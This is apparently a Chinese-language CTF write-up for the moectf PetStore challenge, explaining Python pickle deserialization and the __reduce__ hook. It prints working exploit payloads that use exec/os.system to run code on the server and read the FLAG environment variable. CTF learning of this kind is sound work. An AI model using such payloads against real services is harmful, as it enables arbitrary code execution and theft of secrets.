moectf PetStore 题解(pickle反序列化)
moectf PetStore 题解(pickle反序列化)
审计源码,小白没发现什么,看了提示是pickle序列化与反序列化,查看Dockerfile,flag在环境变量里
pickle模块提供了一种简单且强大的方法来实现对象的序列化和反序列化,使得开发者能够方便地将复杂的Python对象转化为字节流并在需要时重新还原。
基本使用
import pickle
data = {'name': 'Alice', 'age': 25}
serialized_data = pickle.dumps(data)
deserialized_data = pickle.loads(serialized_data)
print(deserialized_data)
在上述代码中,我们首先使用pickle.dumps()函数将一个Python对象序列化为字节流,然后使用pickle.loads()函数将字节流反序列化为Python对象。
和php类似,python魔术方法也会在一些特定情况下被自动调用.我们尤其要注意的是__reduce__
魔术方法,这会在反序列化过程开始时被调用,所以我们可以序列化一个__reduce__
魔术方法中有系统命令的实例并且让服务器将它反序列化,从而达到任意命令执行的效果.
除此之外还有很多魔术方法.例如初始化函数__init__
和构造函数__new__
.和php类似,python中也有魔法属性.例如__doc__
,__name__
,__class__
,__base__
等.
引自pickle反序列化漏洞基础知识与绕过简析 - 先知社区 (aliyun.com)
这里通过 pickle
和 base64
的结合,是利用了 Python
对象序列化和反序列化中的安全漏洞。这种方式可以在服务端执行恶意代码。让我们仔细看为什么这个攻击有效:
pickle
反序列化漏洞:pickle
是 Python 的序列化工具,可以将 Python 对象转为字节流。反序列化时,pickle
会重建对象及其状态。如果恶意用户能够控制传入的数据,就可以构造特定对象,在反序列化的过程中执行任意代码。- 在代码中,
import_pet
函数会对传入的serialized_pet
字符串进行pickle.loads()
操作。这意味着传入的数据会被反序列化为 Python 对象,如果构造的对象具有特殊方法(例如__reduce__()
),就能让服务端执行任意代码。
注:
pickle
模块的反序列化过程之所以能执行任意代码,是因为在反序列化对象时,pickle 支持一些特殊的钩子方法,比如 __reduce__()
、__reduce_ex__()
、和 __getstate__()
。这些方法允许对象指定在反序列化时应执行的操作,而这种机制为攻击者提供了利用机会。
具体来说,__reduce__()
方法可以返回两个元素的元组:(可调用对象, 参数)。当 pickle 在反序列化对象时,会使用这个元组的第一个元素作为可调用对象,并将第二个元素作为参数传递给它。因此,如果一个恶意对象实现了 __reduce__()
方法并在其中返回一些任意的可执行代码(如 exec
函数),在反序列化时就会触发这个代码的执行。
例如,__reduce__()
可能返回 (os.system, ("ls",))
,那么在反序列化时,pickle
模块就会调用 os.system("ls")
,从而执行命令行中的 ls
命令。
官解代码:
import base64
import pickle
class Test:
def __reduce__(self):
return (exec, ("import os;store.create_pet(os.getenv('FLAG'), 'flag');",))
if __name__ == "__main__":
print(base64.b64encode(pickle.dumps(Test())).decode("utf-8"))
exec(“import os; store.create_pet('flag', os.getenv('FLAG'));“)
import base64
import pickle
class Test:
def __reduce__(self):
return (exec, ("import os;store.create_pet(os.popen('echo $FLAG').read().strip(), 'flag');",))
if __name__ == "__main__":
print(base64.b64encode(pickle.dumps(Test())).decode("utf-8"))
也行
- 感谢你赐予我前进的力量